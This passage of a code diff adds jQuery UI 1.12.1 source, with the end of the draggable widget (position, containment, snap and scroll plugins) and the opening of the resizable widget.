+			helper.appendTo( ( o.appendTo === "parent" ?
+				this.element[ 0 ].parentNode :
+				o.appendTo ) );
+		}
+
+		// Http://bugs.jqueryui.com/ticket/9446
+		// a helper function can return the original element
+		// which wouldn't have been set to relative in _create
+		if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) {
+			this._setPositionRelative();
+		}
+
+		if ( helper[ 0 ] !== this.element[ 0 ] &&
+				!( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) {
+			helper.css( "position", "absolute" );
+		}
+
+		return helper;
+
+	},
+
+	_setPositionRelative: function() {
+		if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) {
+			this.element[ 0 ].style.position = "relative";
+		}
+	},
+
+	_adjustOffsetFromHelper: function( obj ) {
+		if ( typeof obj === "string" ) {
+			obj = obj.split( " " );
+		}
+		if ( $.isArray( obj ) ) {
+			obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 };
+		}
+		if ( "left" in obj ) {
+			this.offset.click.left = obj.left + this.margins.left;
+		}
+		if ( "right" in obj ) {
+			this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
+		}
+		if ( "top" in obj ) {
+			this.offset.click.top = obj.top + this.margins.top;
+		}
+		if ( "bottom" in obj ) {
+			this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
+		}
+	},
+
+	_isRootNode: function( element ) {
+		return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ];
+	},
+
+	_getParentOffset: function() {
+
+		//Get the offsetParent and cache its position
+		var po = this.offsetParent.offset(),
+			document = this.document[ 0 ];
+
+		// This is a special case where we need to modify a offset calculated on start, since the
+		// following happened:
+		// 1. The position of the helper is absolute, so it's position is calculated based on the
+		// next positioned parent
+		// 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't
+		// the document, which means that the scroll is included in the initial calculation of the
+		// offset of the parent, and never recalculated upon drag
+		if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== document &&
+				$.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) {
+			po.left += this.scrollParent.scrollLeft();
+			po.top += this.scrollParent.scrollTop();
+		}
+
+		if ( this._isRootNode( this.offsetParent[ 0 ] ) ) {
+			po = { top: 0, left: 0 };
+		}
+
+		return {
+			top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ),
+			left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 )
+		};
+
+	},
+
+	_getRelativeOffset: function() {
+		if ( this.cssPosition !== "relative" ) {
+			return { top: 0, left: 0 };
+		}
+
+		var p = this.element.position(),
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
+
+		return {
+			top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) +
+				( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ),
+			left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) +
+				( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 )
+		};
+
+	},
+
+	_cacheMargins: function() {
+		this.margins = {
+			left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0 ),
+			top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ),
+			right: ( parseInt( this.element.css( "marginRight" ), 10 ) || 0 ),
+			bottom: ( parseInt( this.element.css( "marginBottom" ), 10 ) || 0 )
+		};
+	},
+
+	_cacheHelperProportions: function() {
+		this.helperProportions = {
+			width: this.helper.outerWidth(),
+			height: this.helper.outerHeight()
+		};
+	},
+
+	_setContainment: function() {
+
+		var isUserScrollable, c, ce,
+			o = this.options,
+			document = this.document[ 0 ];
+
+		this.relativeContainer = null;
+
+		if ( !o.containment ) {
+			this.containment = null;
+			return;
+		}
+
+		if ( o.containment === "window" ) {
+			this.containment = [
+				$( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left,
+				$( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top,
+				$( window ).scrollLeft() + $( window ).width() -
+					this.helperProportions.width - this.margins.left,
+				$( window ).scrollTop() +
+					( $( window ).height() || document.body.parentNode.scrollHeight ) -
+					this.helperProportions.height - this.margins.top
+			];
+			return;
+		}
+
+		if ( o.containment === "document" ) {
+			this.containment = [
+				0,
+				0,
+				$( document ).width() - this.helperProportions.width - this.margins.left,
+				( $( document ).height() || document.body.parentNode.scrollHeight ) -
+					this.helperProportions.height - this.margins.top
+			];
+			return;
+		}
+
+		if ( o.containment.constructor === Array ) {
+			this.containment = o.containment;
+			return;
+		}
+
+		if ( o.containment === "parent" ) {
+			o.containment = this.helper[ 0 ].parentNode;
+		}
+
+		c = $( o.containment );
+		ce = c[ 0 ];
+
+		if ( !ce ) {
+			return;
+		}
+
+		isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) );
+
+		this.containment = [
+			( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) +
+				( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ),
+			( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) +
+				( parseInt( c.css( "paddingTop" ), 10 ) || 0 ),
+			( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) -
+				( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) -
+				( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) -
+				this.helperProportions.width -
+				this.margins.left -
+				this.margins.right,
+			( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) -
+				( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) -
+				( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) -
+				this.helperProportions.height -
+				this.margins.top -
+				this.margins.bottom
+		];
+		this.relativeContainer = c;
+	},
+
+	_convertPositionTo: function( d, pos ) {
+
+		if ( !pos ) {
+			pos = this.position;
+		}
+
+		var mod = d === "absolute" ? 1 : -1,
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
+
+		return {
+			top: (
+
+				// The absolute mouse position
+				pos.top	+
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.top * mod +
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.top * mod -
+				( ( this.cssPosition === "fixed" ?
+					-this.offset.scroll.top :
+					( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod )
+			),
+			left: (
+
+				// The absolute mouse position
+				pos.left +
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.left * mod +
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.left * mod	-
+				( ( this.cssPosition === "fixed" ?
+					-this.offset.scroll.left :
+					( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod )
+			)
+		};
+
+	},
+
+	_generatePosition: function( event, constrainPosition ) {
+
+		var containment, co, top, left,
+			o = this.options,
+			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ),
+			pageX = event.pageX,
+			pageY = event.pageY;
+
+		// Cache the scroll
+		if ( !scrollIsRootNode || !this.offset.scroll ) {
+			this.offset.scroll = {
+				top: this.scrollParent.scrollTop(),
+				left: this.scrollParent.scrollLeft()
+			};
+		}
+
+		/*
+		 * - Position constraining -
+		 * Constrain the position to a mix of grid, containment.
+		 */
+
+		// If we are not dragging yet, we won't check for options
+		if ( constrainPosition ) {
+			if ( this.containment ) {
+				if ( this.relativeContainer ) {
+					co = this.relativeContainer.offset();
+					containment = [
+						this.containment[ 0 ] + co.left,
+						this.containment[ 1 ] + co.top,
+						this.containment[ 2 ] + co.left,
+						this.containment[ 3 ] + co.top
+					];
+				} else {
+					containment = this.containment;
+				}
+
+				if ( event.pageX - this.offset.click.left < containment[ 0 ] ) {
+					pageX = containment[ 0 ] + this.offset.click.left;
+				}
+				if ( event.pageY - this.offset.click.top < containment[ 1 ] ) {
+					pageY = containment[ 1 ] + this.offset.click.top;
+				}
+				if ( event.pageX - this.offset.click.left > containment[ 2 ] ) {
+					pageX = containment[ 2 ] + this.offset.click.left;
+				}
+				if ( event.pageY - this.offset.click.top > containment[ 3 ] ) {
+					pageY = containment[ 3 ] + this.offset.click.top;
+				}
+			}
+
+			if ( o.grid ) {
+
+				//Check for grid elements set to 0 to prevent divide by 0 error causing invalid
+				// argument errors in IE (see ticket #6950)
+				top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY -
+					this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] : this.originalPageY;
+				pageY = containment ? ( ( top - this.offset.click.top >= containment[ 1 ] ||
+					top - this.offset.click.top > containment[ 3 ] ) ?
+						top :
+						( ( top - this.offset.click.top >= containment[ 1 ] ) ?
+							top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top;
+
+				left = o.grid[ 0 ] ? this.originalPageX +
+					Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ] :
+					this.originalPageX;
+				pageX = containment ? ( ( left - this.offset.click.left >= containment[ 0 ] ||
+					left - this.offset.click.left > containment[ 2 ] ) ?
+						left :
+						( ( left - this.offset.click.left >= containment[ 0 ] ) ?
+							left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left;
+			}
+
+			if ( o.axis === "y" ) {
+				pageX = this.originalPageX;
+			}
+
+			if ( o.axis === "x" ) {
+				pageY = this.originalPageY;
+			}
+		}
+
+		return {
+			top: (
+
+				// The absolute mouse position
+				pageY -
+
+				// Click offset (relative to the element)
+				this.offset.click.top -
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.top -
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.top +
+				( this.cssPosition === "fixed" ?
+					-this.offset.scroll.top :
+					( scrollIsRootNode ? 0 : this.offset.scroll.top ) )
+			),
+			left: (
+
+				// The absolute mouse position
+				pageX -
+
+				// Click offset (relative to the element)
+				this.offset.click.left -
+
+				// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.relative.left -
+
+				// The offsetParent's offset without borders (offset + border)
+				this.offset.parent.left +
+				( this.cssPosition === "fixed" ?
+					-this.offset.scroll.left :
+					( scrollIsRootNode ? 0 : this.offset.scroll.left ) )
+			)
+		};
+
+	},
+
+	_clear: function() {
+		this._removeClass( this.helper, "ui-draggable-dragging" );
+		if ( this.helper[ 0 ] !== this.element[ 0 ] && !this.cancelHelperRemoval ) {
+			this.helper.remove();
+		}
+		this.helper = null;
+		this.cancelHelperRemoval = false;
+		if ( this.destroyOnClear ) {
+			this.destroy();
+		}
+	},
+
+	// From now on bulk stuff - mainly helpers
+
+	_trigger: function( type, event, ui ) {
+		ui = ui || this._uiHash();
+		$.ui.plugin.call( this, type, [ event, ui, this ], true );
+
+		// Absolute position and offset (see #6884 ) have to be recalculated after plugins
+		if ( /^(drag|start|stop)/.test( type ) ) {
+			this.positionAbs = this._convertPositionTo( "absolute" );
+			ui.offset = this.positionAbs;
+		}
+		return $.Widget.prototype._trigger.call( this, type, event, ui );
+	},
+
+	plugins: {},
+
+	_uiHash: function() {
+		return {
+			helper: this.helper,
+			position: this.position,
+			originalPosition: this.originalPosition,
+			offset: this.positionAbs
+		};
+	}
+
+} );
+
+$.ui.plugin.add( "draggable", "connectToSortable", {
+	start: function( event, ui, draggable ) {
+		var uiSortable = $.extend( {}, ui, {
+			item: draggable.element
+		} );
+
+		draggable.sortables = [];
+		$( draggable.options.connectToSortable ).each( function() {
+			var sortable = $( this ).sortable( "instance" );
+
+			if ( sortable && !sortable.options.disabled ) {
+				draggable.sortables.push( sortable );
+
+				// RefreshPositions is called at drag start to refresh the containerCache
+				// which is used in drag. This ensures it's initialized and synchronized
+				// with any changes that might have happened on the page since initialization.
+				sortable.refreshPositions();
+				sortable._trigger( "activate", event, uiSortable );
+			}
+		} );
+	},
+	stop: function( event, ui, draggable ) {
+		var uiSortable = $.extend( {}, ui, {
+			item: draggable.element
+		} );
+
+		draggable.cancelHelperRemoval = false;
+
+		$.each( draggable.sortables, function() {
+			var sortable = this;
+
+			if ( sortable.isOver ) {
+				sortable.isOver = 0;
+
+				// Allow this sortable to handle removing the helper
+				draggable.cancelHelperRemoval = true;
+				sortable.cancelHelperRemoval = false;
+
+				// Use _storedCSS To restore properties in the sortable,
+				// as this also handles revert (#9675) since the draggable
+				// may have modified them in unexpected ways (#8809)
+				sortable._storedCSS = {
+					position: sortable.placeholder.css( "position" ),
+					top: sortable.placeholder.css( "top" ),
+					left: sortable.placeholder.css( "left" )
+				};
+
+				sortable._mouseStop( event );
+
+				// Once drag has ended, the sortable should return to using
+				// its original helper, not the shared helper from draggable
+				sortable.options.helper = sortable.options._helper;
+			} else {
+
+				// Prevent this Sortable from removing the helper.
+				// However, don't set the draggable to remove the helper
+				// either as another connected Sortable may yet handle the removal.
+				sortable.cancelHelperRemoval = true;
+
+				sortable._trigger( "deactivate", event, uiSortable );
+			}
+		} );
+	},
+	drag: function( event, ui, draggable ) {
+		$.each( draggable.sortables, function() {
+			var innermostIntersecting = false,
+				sortable = this;
+
+			// Copy over variables that sortable's _intersectsWith uses
+			sortable.positionAbs = draggable.positionAbs;
+			sortable.helperProportions = draggable.helperProportions;
+			sortable.offset.click = draggable.offset.click;
+
+			if ( sortable._intersectsWith( sortable.containerCache ) ) {
+				innermostIntersecting = true;
+
+				$.each( draggable.sortables, function() {
+
+					// Copy over variables that sortable's _intersectsWith uses
+					this.positionAbs = draggable.positionAbs;
+					this.helperProportions = draggable.helperProportions;
+					this.offset.click = draggable.offset.click;
+
+					if ( this !== sortable &&
+							this._intersectsWith( this.containerCache ) &&
+							$.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) {
+						innermostIntersecting = false;
+					}
+
+					return innermostIntersecting;
+				} );
+			}
+
+			if ( innermostIntersecting ) {
+
+				// If it intersects, we use a little isOver variable and set it once,
+				// so that the move-in stuff gets fired only once.
+				if ( !sortable.isOver ) {
+					sortable.isOver = 1;
+
+					// Store draggable's parent in case we need to reappend to it later.
+					draggable._parent = ui.helper.parent();
+
+					sortable.currentItem = ui.helper
+						.appendTo( sortable.element )
+						.data( "ui-sortable-item", true );
+
+					// Store helper option to later restore it
+					sortable.options._helper = sortable.options.helper;
+
+					sortable.options.helper = function() {
+						return ui.helper[ 0 ];
+					};
+
+					// Fire the start events of the sortable with our passed browser event,
+					// and our own helper (so it doesn't create a new one)
+					event.target = sortable.currentItem[ 0 ];
+					sortable._mouseCapture( event, true );
+					sortable._mouseStart( event, true, true );
+
+					// Because the browser event is way off the new appended portlet,
+					// modify necessary variables to reflect the changes
+					sortable.offset.click.top = draggable.offset.click.top;
+					sortable.offset.click.left = draggable.offset.click.left;
+					sortable.offset.parent.left -= draggable.offset.parent.left -
+						sortable.offset.parent.left;
+					sortable.offset.parent.top -= draggable.offset.parent.top -
+						sortable.offset.parent.top;
+
+					draggable._trigger( "toSortable", event );
+
+					// Inform draggable that the helper is in a valid drop zone,
+					// used solely in the revert option to handle "valid/invalid".
+					draggable.dropped = sortable.element;
+
+					// Need to refreshPositions of all sortables in the case that
+					// adding to one sortable changes the location of the other sortables (#9675)
+					$.each( draggable.sortables, function() {
+						this.refreshPositions();
+					} );
+
+					// Hack so receive/update callbacks work (mostly)
+					draggable.currentItem = draggable.element;
+					sortable.fromOutside = draggable;
+				}
+
+				if ( sortable.currentItem ) {
+					sortable._mouseDrag( event );
+
+					// Copy the sortable's position because the draggable's can potentially reflect
+					// a relative position, while sortable is always absolute, which the dragged
+					// element has now become. (#8809)
+					ui.position = sortable.position;
+				}
+			} else {
+
+				// If it doesn't intersect with the sortable, and it intersected before,
+				// we fake the drag stop of the sortable, but make sure it doesn't remove
+				// the helper by using cancelHelperRemoval.
+				if ( sortable.isOver ) {
+
+					sortable.isOver = 0;
+					sortable.cancelHelperRemoval = true;
+
+					// Calling sortable's mouseStop would trigger a revert,
+					// so revert must be temporarily false until after mouseStop is called.
+					sortable.options._revert = sortable.options.revert;
+					sortable.options.revert = false;
+
+					sortable._trigger( "out", event, sortable._uiHash( sortable ) );
+					sortable._mouseStop( event, true );
+
+					// Restore sortable behaviors that were modfied
+					// when the draggable entered the sortable area (#9481)
+					sortable.options.revert = sortable.options._revert;
+					sortable.options.helper = sortable.options._helper;
+
+					if ( sortable.placeholder ) {
+						sortable.placeholder.remove();
+					}
+
+					// Restore and recalculate the draggable's offset considering the sortable
+					// may have modified them in unexpected ways. (#8809, #10669)
+					ui.helper.appendTo( draggable._parent );
+					draggable._refreshOffsets( event );
+					ui.position = draggable._generatePosition( event, true );
+
+					draggable._trigger( "fromSortable", event );
+
+					// Inform draggable that the helper is no longer in a valid drop zone
+					draggable.dropped = false;
+
+					// Need to refreshPositions of all sortables just in case removing
+					// from one sortable changes the location of other sortables (#9675)
+					$.each( draggable.sortables, function() {
+						this.refreshPositions();
+					} );
+				}
+			}
+		} );
+	}
+} );
+
+$.ui.plugin.add( "draggable", "cursor", {
+	start: function( event, ui, instance ) {
+		var t = $( "body" ),
+			o = instance.options;
+
+		if ( t.css( "cursor" ) ) {
+			o._cursor = t.css( "cursor" );
+		}
+		t.css( "cursor", o.cursor );
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+		if ( o._cursor ) {
+			$( "body" ).css( "cursor", o._cursor );
+		}
+	}
+} );
+
+$.ui.plugin.add( "draggable", "opacity", {
+	start: function( event, ui, instance ) {
+		var t = $( ui.helper ),
+			o = instance.options;
+		if ( t.css( "opacity" ) ) {
+			o._opacity = t.css( "opacity" );
+		}
+		t.css( "opacity", o.opacity );
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+		if ( o._opacity ) {
+			$( ui.helper ).css( "opacity", o._opacity );
+		}
+	}
+} );
+
+$.ui.plugin.add( "draggable", "scroll", {
+	start: function( event, ui, i ) {
+		if ( !i.scrollParentNotHidden ) {
+			i.scrollParentNotHidden = i.helper.scrollParent( false );
+		}
+
+		if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] &&
+				i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) {
+			i.overflowOffset = i.scrollParentNotHidden.offset();
+		}
+	},
+	drag: function( event, ui, i  ) {
+
+		var o = i.options,
+			scrolled = false,
+			scrollParent = i.scrollParentNotHidden[ 0 ],
+			document = i.document[ 0 ];
+
+		if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) {
+			if ( !o.axis || o.axis !== "x" ) {
+				if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY <
+						o.scrollSensitivity ) {
+					scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed;
+				} else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) {
+					scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed;
+				}
+			}
+
+			if ( !o.axis || o.axis !== "y" ) {
+				if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX <
+						o.scrollSensitivity ) {
+					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed;
+				} else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) {
+					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed;
+				}
+			}
+
+		} else {
+
+			if ( !o.axis || o.axis !== "x" ) {
+				if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity ) {
+					scrolled = $( document ).scrollTop( $( document ).scrollTop() - o.scrollSpeed );
+				} else if ( $( window ).height() - ( event.pageY - $( document ).scrollTop() ) <
+						o.scrollSensitivity ) {
+					scrolled = $( document ).scrollTop( $( document ).scrollTop() + o.scrollSpeed );
+				}
+			}
+
+			if ( !o.axis || o.axis !== "y" ) {
+				if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity ) {
+					scrolled = $( document ).scrollLeft(
+						$( document ).scrollLeft() - o.scrollSpeed
+					);
+				} else if ( $( window ).width() - ( event.pageX - $( document ).scrollLeft() ) <
+						o.scrollSensitivity ) {
+					scrolled = $( document ).scrollLeft(
+						$( document ).scrollLeft() + o.scrollSpeed
+					);
+				}
+			}
+
+		}
+
+		if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) {
+			$.ui.ddmanager.prepareOffsets( i, event );
+		}
+
+	}
+} );
+
+$.ui.plugin.add( "draggable", "snap", {
+	start: function( event, ui, i ) {
+
+		var o = i.options;
+
+		i.snapElements = [];
+
+		$( o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap )
+			.each( function() {
+				var $t = $( this ),
+					$o = $t.offset();
+				if ( this !== i.element[ 0 ] ) {
+					i.snapElements.push( {
+						item: this,
+						width: $t.outerWidth(), height: $t.outerHeight(),
+						top: $o.top, left: $o.left
+					} );
+				}
+			} );
+
+	},
+	drag: function( event, ui, inst ) {
+
+		var ts, bs, ls, rs, l, r, t, b, i, first,
+			o = inst.options,
+			d = o.snapTolerance,
+			x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
+			y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;
+
+		for ( i = inst.snapElements.length - 1; i >= 0; i-- ) {
+
+			l = inst.snapElements[ i ].left - inst.margins.left;
+			r = l + inst.snapElements[ i ].width;
+			t = inst.snapElements[ i ].top - inst.margins.top;
+			b = t + inst.snapElements[ i ].height;
+
+			if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d ||
+					!$.contains( inst.snapElements[ i ].item.ownerDocument,
+					inst.snapElements[ i ].item ) ) {
+				if ( inst.snapElements[ i ].snapping ) {
+					( inst.options.snap.release &&
+						inst.options.snap.release.call(
+							inst.element,
+							event,
+							$.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } )
+						) );
+				}
+				inst.snapElements[ i ].snapping = false;
+				continue;
+			}
+
+			if ( o.snapMode !== "inner" ) {
+				ts = Math.abs( t - y2 ) <= d;
+				bs = Math.abs( b - y1 ) <= d;
+				ls = Math.abs( l - x2 ) <= d;
+				rs = Math.abs( r - x1 ) <= d;
+				if ( ts ) {
+					ui.position.top = inst._convertPositionTo( "relative", {
+						top: t - inst.helperProportions.height,
+						left: 0
+					} ).top;
+				}
+				if ( bs ) {
+					ui.position.top = inst._convertPositionTo( "relative", {
+						top: b,
+						left: 0
+					} ).top;
+				}
+				if ( ls ) {
+					ui.position.left = inst._convertPositionTo( "relative", {
+						top: 0,
+						left: l - inst.helperProportions.width
+					} ).left;
+				}
+				if ( rs ) {
+					ui.position.left = inst._convertPositionTo( "relative", {
+						top: 0,
+						left: r
+					} ).left;
+				}
+			}
+
+			first = ( ts || bs || ls || rs );
+
+			if ( o.snapMode !== "outer" ) {
+				ts = Math.abs( t - y1 ) <= d;
+				bs = Math.abs( b - y2 ) <= d;
+				ls = Math.abs( l - x1 ) <= d;
+				rs = Math.abs( r - x2 ) <= d;
+				if ( ts ) {
+					ui.position.top = inst._convertPositionTo( "relative", {
+						top: t,
+						left: 0
+					} ).top;
+				}
+				if ( bs ) {
+					ui.position.top = inst._convertPositionTo( "relative", {
+						top: b - inst.helperProportions.height,
+						left: 0
+					} ).top;
+				}
+				if ( ls ) {
+					ui.position.left = inst._convertPositionTo( "relative", {
+						top: 0,
+						left: l
+					} ).left;
+				}
+				if ( rs ) {
+					ui.position.left = inst._convertPositionTo( "relative", {
+						top: 0,
+						left: r - inst.helperProportions.width
+					} ).left;
+				}
+			}
+
+			if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs || first ) ) {
+				( inst.options.snap.snap &&
+					inst.options.snap.snap.call(
+						inst.element,
+						event,
+						$.extend( inst._uiHash(), {
+							snapItem: inst.snapElements[ i ].item
+						} ) ) );
+			}
+			inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first );
+
+		}
+
+	}
+} );
+
+$.ui.plugin.add( "draggable", "stack", {
+	start: function( event, ui, instance ) {
+		var min,
+			o = instance.options,
+			group = $.makeArray( $( o.stack ) ).sort( function( a, b ) {
+				return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) -
+					( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 );
+			} );
+
+		if ( !group.length ) { return; }
+
+		min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0;
+		$( group ).each( function( i ) {
+			$( this ).css( "zIndex", min + i );
+		} );
+		this.css( "zIndex", ( min + group.length ) );
+	}
+} );
+
+$.ui.plugin.add( "draggable", "zIndex", {
+	start: function( event, ui, instance ) {
+		var t = $( ui.helper ),
+			o = instance.options;
+
+		if ( t.css( "zIndex" ) ) {
+			o._zIndex = t.css( "zIndex" );
+		}
+		t.css( "zIndex", o.zIndex );
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+
+		if ( o._zIndex ) {
+			$( ui.helper ).css( "zIndex", o._zIndex );
+		}
+	}
+} );
+
+var widgetsDraggable = $.ui.draggable;
+
+
+/*!
+ * jQuery UI Resizable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Resizable
+//>>group: Interactions
+//>>description: Enables resize functionality for any element.
+//>>docs: http://api.jqueryui.com/resizable/
+//>>demos: http://jqueryui.com/resizable/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/resizable.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+$.widget( "ui.resizable", $.ui.mouse, {
+	version: "1.12.1",
+	widgetEventPrefix: "resize",
+	options: {
+		alsoResize: false,
+		animate: false,
+		animateDuration: "slow",
+		animateEasing: "swing",
+		aspectRatio: false,
+		autoHide: false,
+		classes: {
+			"ui-resizable-se": "ui-icon ui-icon-gripsmall-diagonal-se"
+		},
+		containment: false,
+		ghost: false,
+		grid: false,
+		handles: "e,s,se",
+		helper: false,
+		maxHeight: null,
+		maxWidth: null,
+		minHeight: 10,
+		minWidth: 10,
+
+		// See #7960
+		zIndex: 90,
+
+		// Callbacks
+		resize: null,
+		start: null,
+		stop: null
+	},
+
+	_num: function( value ) {
+		return parseFloat( value ) || 0;
+	},
+
+	_isNumber: function( value ) {
+		return !isNaN( parseFloat( value ) );
+	},
+
+	_hasScroll: function( el, a ) {
+
+		if ( $( el ).css( "overflow" ) === "hidden" ) {
+			return false;
+		}
+
+		var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop",
+			has = false;
+
+		if ( el[ scroll ] > 0 ) {
+			return true;
+		}
+
+		// TODO: determine which cases actually cause this to happen
+		// if the element doesn't have the scroll set, see if it's possible to
+		// set the scroll
+		el[ scroll ] = 1;
+		has = ( el[ scroll ] > 0 );
+		el[ scroll ] = 0;
+		return has;
+	},
+
+	_create: function() {
+
+		var margins,
+			o = this.options,
+			that = this;
+		this._addClass( "ui-resizable" );
+
+		$.extend( this, {
+			_aspectRatio: !!( o.aspectRatio ),
+			aspectRatio: o.aspectRatio,
+			originalElement: this.element,
+			_proportionallyResizeElements: [],
+			_helper: o.helper || o.ghost || o.animate ? o.helper || "ui-resizable-helper" : null
+		} );
+
+		// Wrap the element if it cannot hold child nodes
+		if ( this.element[ 0 ].nodeName.match( /^(canvas|textarea|input|select|button|img)$/i ) ) {
+
+			this.element.wrap(
+				$( "<div class='ui-wrapper' style='overflow: hidden;'></div>" ).css( {
+					position: this.element.css( "position" ),
+					width: this.element.outerWidth(),
+					height: this.element.outerHeight(),
+					top: this.element.css( "top" ),
+					left: this.element.css( "left" )
+				} )
+			);
+
+			this.element = this.element.parent().data(
+				"ui-resizable", this.element.resizable( "instance" )
+			);
+
+			this.elementIsWrapper = true;
+
+			margins = {
+				marginTop: this.originalElement.css( "marginTop" ),
+				marginRight: this.originalElement.css( "marginRight" ),
+				marginBottom: this.originalElement.css( "marginBottom" ),
+				marginLeft: this.originalElement.css( "marginLeft" )
+			};
+
+			this.element.css( margins );
+			this.originalElement.css( "margin", 0 );
+
+			// support: Safari
+			// Prevent Safari textarea resize
+			this.originalResizeStyle = this.originalElement.css( "resize" );
+			this.originalElement.css( "resize", "none" );
+
+			this._proportionallyResizeElements.push( this.originalElement.css( {
+				position: "static",
+				zoom: 1,
+				display: "block"
+			} ) );
+
+			// Support: IE9
+			// avoid IE jump (hard set the margin)
+			this.originalElement.css( margins );
+
+			this._proportionallyResize();
+		}
+
+		this._setupHandles();
+
+		if ( o.autoHide ) {
+			$( this.element )
+				.on( "mouseenter", function() {
+					if ( o.disabled ) {
+						return;
+					}
+					that._removeClass( "ui-resizable-autohide" );
+					that._handles.show();
+				} )
+				.on( "mouseleave", function() {
+					if ( o.disabled ) {
+						return;
+					}
+					if ( !that.resizing ) {
+						that._addClass( "ui-resizable-autohide" );
+						that._handles.hide();
+					}
+				} );
+		}
+
+		this._mouseInit();
+	},
+
+	_destroy: function() {
+
+		this._mouseDestroy();
+
+		var wrapper,
+			_destroy = function( exp ) {
+				$( exp )
+					.removeData( "resizable" )
+					.removeData( "ui-resizable" )
+					.off( ".resizable" )
+					.find( ".ui-resizable-handle" )
+						.remove();
+			};
+
+		// TODO: Unwrap at same DOM position
+		if ( this.elementIsWrapper ) {
+			_destroy( this.element );
+			wrapper = this.element;
+			this.originalElement.css( {
+				position: wrapper.css( "position" ),
+				width: wrapper.outerWidth(),
+				height: wrapper.outerHeight(),
+				top: wrapper.css( "top" ),
+				left: wrapper.css( "left" )
+			} ).insertAfter( wrapper );
+			wrapper.remove();
+		}
+
+		this.originalElement.css( "resize", this.originalResizeStyle );
+		_destroy( this.originalElement );
+
+		return this;
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+
+		switch ( key ) {
+		case "handles":
+			this._removeHandles();
+			this._setupHandles();
+			break;
+		default:
+			break;
+		}
+	},
+
